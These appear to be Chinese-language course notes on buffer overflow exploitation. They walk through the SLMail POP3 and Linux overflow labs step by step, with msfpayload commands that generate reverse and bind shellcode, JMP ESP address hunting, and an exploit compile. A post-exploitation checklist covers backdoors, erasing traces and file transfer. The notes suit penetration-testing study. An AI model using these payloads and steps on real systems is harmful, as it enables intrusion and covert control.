缓冲区溢出
程序漏洞来源
数据与代码边界不清
最简漏洞原理——shell脚本漏洞
缓冲区溢出
当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,
导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据;
成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控
制权限等后果。
如何发现漏洞
代码审计
逆向工程
模糊测试
想程序堆栈半随机的数据,根据内存变化判断溢出
数据生成器;生成随机,半随机数据
测试工具:识别溢出漏洞
Windows缓冲区溢出
FUZZER——模糊测试
SLMail
POP3 PASS命令存在缓冲区溢出漏洞
无需身份验证实现远程代码执行
DEP:阻止代码从数据页被执行
ASLR:随机内存地址加载执行程序和DLL
思路:
将EIP修改为shellcode代码的内存地址,将Shellcode写入该地址空间,程序读取EIP寄存器数值,将跳转到Shellcode的内存空间
不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途
返回地址、Shellcode、buffer中都不能出现坏字符
Null byte (0x00)空字符,用于终止字符串的拷贝操作
Return (0x0D)回车字符,表示POP3PASS命令输入完成
思路:发送0x00——0xff256个字符,查找所有坏字符
重定向数据流
使用ESP的地址替换EIP的值
但是ESP地址变化,硬编码不可行
Slmail是线程应用程序,操作系统为每一个线程分配一段地址范围,每个地址范围不确定
变通思路:
在内存中找到地址固定的系统模块
在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转ESP,从而执行Shellcode
mona.py脚本识别内存模块,搜索“retrun address”是JMP ESP指令模块
寻找无DEP、ALSR保护的内存地址
内存地址不包含坏字符
寻找不收保护的系统模块
!mona modules
将汇编指令jmp esp转换二进制
./nasm_shell取得FFE4
在模块中搜索FFE4指令
!mona find -s“\xff\xe4” -m slmfc.dll
选择不包含坏字符的内存地址
在该地址设置断点
重发buffer
生成Shellcode
使用./msfpayload
./msfpayloadwin32_reverse LHOST=192.168.20.8 LPORT=443 R | ./msfencode -b “\x00\x0a\x0d”
注意:Shellcode执行结束后以EXitProcess方式退出整个进程,将导致邮件服务崩溃
解决方法:使用ExitThread方法退出
./msfpayloadwin32_reverse LHOST=192.168.20.8 EXITFUNC=threadLPORT=443 R | ./msfencode -b “\x00\x0a\x0d”
Linux缓冲区溢出
调试工具——edb
运行平台——kali i486虚拟机
新版系统会有DEP 、ALSR、堆栈cookies、堆栈粉碎保护机制
ps:限制只有本机连接
iptables -A INPUT -p tcp--destination-port 13327 \! -d 127.0.0.1 -j DROP
iptables -A INPUT -p tcp--destination-port 4444 \! -d 127.0.0.1 -j DROP
调试:
edb --run 目标文件
唯一字符串识别EIP精确位置
/usr/share/metasploit-‐framework/tools/pattern_create.rb4379 (创建字符串个数)
判断字符位置
/usr/share/metasploit-‐framework/tools/pattern_offset.rb46367046
思路:
第一阶段Shellcode
ESP跳转到EAX
偏移12个字节
调用/usr/share/metasploit-‐framework/tools/nasm_shell.rb
-汇编指令:add eax,12
Jmp eax
查找坏字符
ESP跳转地址
使用插件Opcode serach
eg:crash ="\x41“ * 4368 + "\x97\x45\x13\x08“ +"\x83\xc0\x0c\xff\xe0\x90\x90"
设置断点
EIP
生成Shellcode:
msfpayload linux/x86/shell_bind_tcp LPORT=4444R | msfencode -b "\x00\x0a\x0d\x20"
选择和修改EXP
选择可信赖的EXP源
Exploit-db
EecurityFocus
Serachsploit
有能力修改EXP(python、perl、Ruby、c、c++)
646.c
类unix环境下编译
windows环境下编译
apt-get install mingw32
运行:
dpkg--add-architecture i386 && apt-get update && apt-get installwine32
导出成exe:
i586-mingw32msvc-gcc 646.c -lws2_32 -o sl.exe
运行:
Wine **.exeIP
避免有害的EXP
考虑系统版本、软件版本、不同的offset、Shellcode
后漏洞利用阶段
上传工具
提权
擦出攻击痕迹
安装后门
长期控制
Dump密码
内网渗透
后漏洞利用阶段
最大的挑战——防病毒软件
使用合法的远程控制软件
上传工具
linux系统
Netcat
Curl
Wget
Windows
缺少预装的下载工具
非交互性shell
类NC远程控制shell
Ftp 192.168.1.1
TFTP传输文件
Xp、2003默认安装
经常被边界防火墙过滤
Kali
mkdir /tftp
添加文件到/tftp/
Chown -R nobody /tftp/
启动tftp服务:
atftpd --daemon --port 69 /tftp
远程端:
tftp -i kali IP get file
FTP传输文件
VBSCRIPT传输文件
POWERSHELL传输文件
DEBUG传输文件
PS:本笔记通过安全牛课堂教程学习整理所得 http://edu.aqniu.com/course/83